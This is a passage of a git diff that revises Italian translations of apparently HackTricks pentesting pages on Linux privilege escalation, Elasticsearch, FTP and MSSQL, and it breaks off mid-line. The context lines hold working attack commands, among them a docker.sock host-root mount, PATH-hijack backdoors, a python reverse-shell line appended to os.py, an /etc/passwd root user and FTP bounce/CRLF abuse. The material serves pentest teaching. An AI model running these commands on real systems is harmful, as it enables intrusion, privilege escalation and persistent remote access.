la directory radice del sistema host. +2. **Crea un container:** Invia una richiesta per creare un container che monta la directory root del sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Avvia il contenitore appena creato: +Avvia il container appena creato: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Collegati al contenitore:** Usa `socat` per stabilire una connessione al contenitore, abilitando l'esecuzione di comandi al suo interno. +3. **Collegati al container:** Usa `socat` per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -532,11 +532,11 @@ Connection: Upgrade Upgrade: tcp ``` -Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente nel contenitore con accesso a livello root al file system dell'host. +Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso a livello root al file system dell'host. ### Altri -Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l'[**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l' [**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Controlla **altri modi per uscire da docker o abusarne per elevare i privilegi** in: @@ -732,7 +732,7 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria durante l'esecuzione dello script come root: +Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria mentre si eseguiva lo script come root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` @@ -763,7 +763,7 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un strano SUID binary)**. +Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un binary SUID strano)**. [Payload examples to execute.](payloads-to-execute.md) @@ -840,7 +840,7 @@ Quando si incontra un binario con permessi **SUID** che sembra insolito, è buon ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory di questo tipo)"_ suggerisce un potenziale per l'exploitation. +Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory)"_ suggerisce un potenziale per l'exploitation. Per sfruttare questo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: ```c @@ -946,7 +946,7 @@ sudo su ``` ### /var/run/sudo/ts/\ -Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e un PID**.\ +Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e PID**.\ Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza bisogno di conoscere la password eseguendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser @@ -981,7 +981,7 @@ permit nopass demo as root cmd vim Se sai che un **utente di solito si connette a una macchina e utilizza `sudo`** per elevare i privilegi e hai ottenuto una shell all'interno di quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, il tuo eseguibile sudo venga eseguito. -Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) O eseguendo qualcosa come: ```bash @@ -1062,7 +1062,7 @@ Il bit **"leggi"** implica che l'utente può **elencare** i **file**, e il bit * ## ACL -Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso ai file o alle directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Dai** all'utente "kali" permessi di lettura e scrittura su un file: ```bash @@ -1080,7 +1080,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null In **vecchie versioni** potresti **dirottare** alcune sessioni **shell** di un altro utente (**root**).\ Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. -### Dirottamento delle sessioni screen +### dirottamento delle sessioni screen **Elenca le sessioni screen** ```bash @@ -1124,7 +1124,7 @@ Controlla **Valentine box from HTB** per un esempio. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ -Questo bug è causato dalla creazione di una nuova chiave ssh in quegli OS, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operativi, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### Valori di configurazione SSH interessanti @@ -1151,14 +1151,14 @@ Quella configurazione indicherà che se provi a effettuare il login con la chiav ### ForwardAgent/AllowAgentForwarding -Il forwarding dell'agente SSH ti consente di **utilizzare le tue chiavi SSH locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi, sarai in grado di **saltare** via ssh **verso un host** e da lì **saltare verso un altro** host **utilizzando** la **chiave** situata nel tuo **host iniziale**. +Il forwarding dell'agente SSH ti consente di **utilizzare le tue chiavi SSH locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi, sarai in grado di **saltare** via ssh **verso un host** e da lì **saltare a un altro** host **utilizzando** la **chiave** situata nel tuo **host iniziale**. Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo: ``` Host example.com ForwardAgent yes ``` -Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza). +Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza). Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\ Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito). @@ -1200,7 +1200,7 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Quindi aggiungi l'utente `hacker` e aggiungi la password generata. +Poi aggiungi l'utente `hacker` e aggiungi la password generata. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1292,7 +1292,7 @@ Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escala ### Log Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\ -Inoltre, alcuni log di **audit** **"mal"** configurati (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Inoltre, alcuni log di **audit** "mal" configurati (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1319,7 +1319,7 @@ Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllar ### Python library hijacking -Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). +Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o **puoi modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). Per **inserire un backdoor nella libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT): ```python @@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate exploitation -Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, che spesso viene eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. +Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. > [!NOTE] > Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti @@ -1336,7 +1336,7 @@ Informazioni più dettagliate sulla vulnerabilità possono essere trovate su que Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi ottenere privilegi elevati sostituendo i log con symlink. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi elevare i privilegi sostituendo i log con symlink. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1344,11 +1344,11 @@ Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetai Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**. -Gli script di rete, _ifcg-eth0_ ad esempio, vengono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d). +Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d). -Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema tenta di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**. +Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema tenta di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**. -Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1408,14 +1408,14 @@ cisco-vmanage.md ## Riferimenti -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 53fac8607..813e4289b 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -8,7 +8,7 @@ Elasticsearch è un motore di ricerca e analisi **distribuito**, **open source** ### Cos'è un indice Elasticsearch? -Un **indice** Elasticsearch è una raccolta di **documenti correlati** memorizzati come **JSON**. Ogni documento è composto da **chiavi** e dai loro corrispondenti **valori** (stringhe, numeri, booleani, date, array, geolocalizzazioni, ecc.). +Un **indice** Elasticsearch è una collezione di **documenti correlati** memorizzati come **JSON**. Ogni documento è composto da **chiavi** e dai loro corrispondenti **valori** (stringhe, numeri, booleani, date, array, geolocalizzazioni, ecc.). Elasticsearch utilizza una struttura dati efficiente chiamata **indice invertito** per facilitare ricerche full-text veloci. Questo indice elenca ogni parola unica nei documenti e identifica i documenti in cui appare ciascuna parola. @@ -39,12 +39,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Ciò significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere informazioni da elasticsearch. Poi, puoi [**provare a fare bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (utilizza l'autenticazione HTTP basic, quindi qualsiasi cosa che possa fare BF HTTP basic auth può essere utilizzata).\ -Ecco una **lista di nomi utente predefiniti**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Le versioni più vecchie di Elasticsearch hanno la password predefinita **changeme** per questo utente. +Ciò significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere informazioni da Elasticsearch. Quindi, puoi [**provare a forzarlo**](../generic-hacking/brute-force.md#elasticsearch) (utilizza l'autenticazione di base HTTP, quindi qualsiasi cosa che possa forzare l'autenticazione di base HTTP può essere utilizzata).\ +Ecco un **elenco di nomi utente predefiniti**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Le versioni più vecchie di Elasticsearch hanno la password predefinita **changeme** per questo utente. ``` curl -X GET http://user:password@IP:9200/ ``` -### Enumerazione di Utenti di Base +### Enumerazione di Base degli Utenti ```bash #List all roles on the system: curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role" @@ -114,7 +114,7 @@ _Prenditi un momento per confrontare i contenuti di ciascun documento (voce) all Quindi, a questo punto potresti notare che **c'è un campo chiamato "total" all'interno di "hits"** che indica che **sono stati trovati 1000 documenti** all'interno di questo indice ma solo 10 sono stati recuperati. Questo perché **per impostazione predefinita c'è un limite di 10 documenti**.\ Ma, ora che sai che **questo indice contiene 1000 documenti**, puoi **dumpare tutti** indicando il numero di voci che vuoi dumpare nel parametro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Nota: Se indichi un numero maggiore, tutte le voci saranno comunque dumpate, ad esempio potresti indicare `size=9999` e sarebbe strano se ci fossero più voci (ma dovresti controllare)._ +\_Nota: Se indichi un numero maggiore, tutte le voci saranno comunque dumpate, ad esempio potresti indicare `size=9999` e sarebbe strano se ci fossero più voci (ma dovresti controllare)._ ### Dump all @@ -129,7 +129,7 @@ Se stai cercando alcune informazioni puoi fare una **ricerca raw su tutti gli in Se vuoi solo **cercare in un indice** puoi semplicemente **specificarlo** nel **percorso**: `http://host:9200//_search?pretty=true&q=` -_Nota che il parametro q utilizzato per cercare contenuti **supporta le espressioni regolari**_ +_Nota che il parametro q usato per cercare contenuti **supporta le espressioni regolari**_ Puoi anche usare qualcosa come [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) per fuzzare un servizio elasticsearch. @@ -157,7 +157,7 @@ E nota le **proprietà create automaticamente**: ## Enumerazione Automatica -Al alcuni strumenti otterranno alcuni dei dati presentati prima: +Alcuni strumenti otterranno alcuni dei dati presentati prima: ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 5550125c5..8c358c96b 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -14,9 +14,9 @@ PORT STATE SERVICE ``` ### Connessioni Attive e Passive -In **Active FTP**, il **client** FTP prima **inizia** la **connessione** di controllo dalla sua porta N alla porta di comando del server FTP – porta 21. Il **client** poi **ascolta** sulla porta **N+1** e invia la porta N+1 al server FTP. Il **Server** FTP poi **inizia** la **connessione** dati, dalla **sua porta M alla porta N+1** del client FTP. +In **Active FTP**, il **client** FTP prima **inizia** la **connessione** di controllo dalla sua porta N alla porta di comando del server FTP – porta 21. Il **client** poi **ascolta** sulla porta **N+1** e invia la porta N+1 al server FTP. Il **server** FTP poi **inizia** la **connessione** dati, dalla **sua porta M alla porta N+1** del client FTP. -Tuttavia, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E una soluzione fattibile per questo è il Passive FTP. +Tuttavia, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E, una soluzione fattibile per questo è il Passive FTP. Nel **Passive FTP**, il client inizia la connessione di controllo dalla sua porta N alla porta 21 del server FTP. Dopo questo, il client emette un **comando passv**. Il server poi invia al client uno dei suoi numeri di porta M. E il **client** **inizia** la **connessione** dati dalla **sua porta P alla porta M** del server FTP. @@ -49,7 +49,7 @@ Con **nmap** ```bash sudo nmap -sV -p21 -sC -A 10.10.10.10 ``` -Puoi usare i comandi `HELP` e `FEAT` per ottenere alcune informazioni dal server FTP: +Puoi utilizzare i comandi `HELP` e `FEAT` per ottenere alcune informazioni dal server FTP: ``` HELP 214-The following commands are recognized (* =>'s unimplemented): @@ -88,8 +88,8 @@ STAT ### Accesso anonimo _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -105,7 +105,7 @@ Qui puoi trovare un'ottima lista con le credenziali ftp predefinite: [https://gi ### Automated -Il login anonimo e i controlli FTP di rimbalzo vengono eseguiti per impostazione predefinita da nmap con l'opzione **-sC** o: +Il login anonimo e i controlli di bounce FTP vengono eseguiti per impostazione predefinita da nmap con l'opzione **-sC** o: ```bash nmap --script ftp-* -p 21 ``` @@ -115,7 +115,7 @@ Puoi connetterti a un server FTP utilizzando un browser (come Firefox) usando un ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Nota che se un **applicazione web** sta inviando dati controllati da un utente **direttamente a un server FTP** puoi inviare byte codificati in doppia URL `%0d%0a` (in doppia URL encode questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o cercare di comunicare con altri servizi basati su testo semplice (come http). +Nota che se un **applicazione web** sta inviando dati controllati da un utente **direttamente a un server FTP**, puoi inviare byte di doppia codifica URL `%0d%0a` (in doppia codifica URL questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o provare a comunicare con altri servizi basati su testo semplice (come http). ## Scarica tutti i file da FTP ```bash @@ -139,7 +139,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`STOR /path/something.txt`** Come `APPE` ma sovrascriverà i file - **`STOU /path/something.txt`** Come `APPE`, ma se esiste non farà nulla. - **`RETR /path/to/file`** Deve essere stabilita una connessione passiva o una connessione port. Poi, il server FTP invierà il file indicato attraverso quella connessione -- **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare al 6° byte. +- **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare dal 6° byte. - **`TYPE i`** Imposta il trasferimento su binario - **`PASV`** Questo aprirà una connessione passiva e indicherà all'utente dove può connettersi - **`PUT /tmp/file.txt`** Carica il file indicato sull'FTP @@ -152,11 +152,11 @@ Alcuni server FTP consentono il comando PORT. Questo comando può essere utilizz [**Scopri qui come abusare di un server FTP per scansionare le porte.**](ftp-bounce-attack.md) -Potresti anche abusare di questo comportamento per far interagire un server FTP con altri protocolli. Potresti **caricare un file contenente una richiesta HTTP** e far sì che il server FTP vulnerabile **la invii a un server HTTP arbitrario** (_forse per aggiungere un nuovo utente admin?_) o persino caricare una richiesta FTP e far sì che il server FTP vulnerabile scarichi un file da un altro server FTP.\ +Potresti anche abusare di questo comportamento per far interagire un server FTP con altri protocolli. Potresti **caricare un file contenente una richiesta HTTP** e far sì che il server FTP vulnerabile **la invii a un server HTTP arbitrario** (_magari per aggiungere un nuovo utente admin?_) o persino caricare una richiesta FTP e far sì che il server FTP vulnerabile scarichi un file da un altro server FTP.\ La teoria è semplice: 1. **Carica la richiesta (all'interno di un file di testo) sul server vulnerabile.** Ricorda che se vuoi parlare con un altro server HTTP o FTP devi cambiare le righe con `0x0d 0x0a` -2. **Usa `REST X` per evitare di inviare i caratteri che non vuoi inviare** (forse per caricare la richiesta all'interno del file dove dovevi mettere un'intestazione di immagine all'inizio) +2. **Usa `REST X` per evitare di inviare i caratteri che non vuoi inviare** (magari per caricare la richiesta all'interno del file dove dovevi mettere un'intestazione di immagine all'inizio) 3. **Usa `PORT` per connetterti al server e al servizio arbitrari** 4. **Usa `RETR` per inviare la richiesta salvata al server.** @@ -168,14 +168,14 @@ La teoria è semplice: posts.txt {{#endfile}} -- Prova a **riempire la richiesta con dati "spazzatura" relativi al protocollo** (parlando con FTP forse solo comandi spazzatura o ripetendo l'istruzione `RETR` per ottenere il file) +- Prova a **riempire la richiesta con dati "spazzatura" relativi al protocollo** (parlando con FTP magari solo comandi spazzatura o ripetendo l'istruzione `RETR` per ottenere il file) - Basta **riempire la richiesta con molti caratteri nulli o altri** (divisi su righe o meno) Comunque, qui hai un [vecchio esempio su come abusare di questo per far scaricare un file da un server FTP diverso.](ftp-bounce-download-2oftp-file.md) ## Vulnerabilità del server Filezilla -**FileZilla** di solito **lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP. +**FileZilla** di solito **si lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP. ## File di configurazione ``` @@ -196,7 +196,7 @@ La configurazione predefinita di vsFTPd può essere trovata in `/etc/vsftpd.conf - `chown_username=username` - Utente a cui viene data la proprietà dei file caricati in modo anonimo - `local_enable=YES` - Abilita gli utenti locali a effettuare il login - `no_anon_password=YES` - Non chiedere la password agli anonimi -- `write_enable=YES` - Consenti comandi: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, e SITE +- `write_enable=YES` - Consenti comandi: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE e SITE ### Shodan diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index a08f8ac0e..abfde4f49 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** è un sistema di gestione di **database relazionali** sviluppato da Microsoft. Come server di database, è un prodotto software con la funzione principale di memorizzare e recuperare dati su richiesta di altre applicazioni software—che possono essere eseguite sia sullo stesso computer che su un altro computer attraverso una rete (incluso Internet).\\ +> **Microsoft SQL Server** è un sistema di gestione di **database relazionali** sviluppato da Microsoft. Come server di database, è un prodotto software con la funzione principale di memorizzare e recuperare dati su richiesta di altre applicazioni software—che possono essere eseguite sia sullo stesso computer che su un altro computer attraverso una rete (incluso Internet). **Porta predefinita:** 1433 ``` @@ -16,7 +16,7 @@ Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Database**: Questo database è cruciale in quanto cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server. - **msdb Database**: SQL Server Agent utilizza questo database per gestire la pianificazione di avvisi e lavori. -- **model Database**: Funziona come un modello per 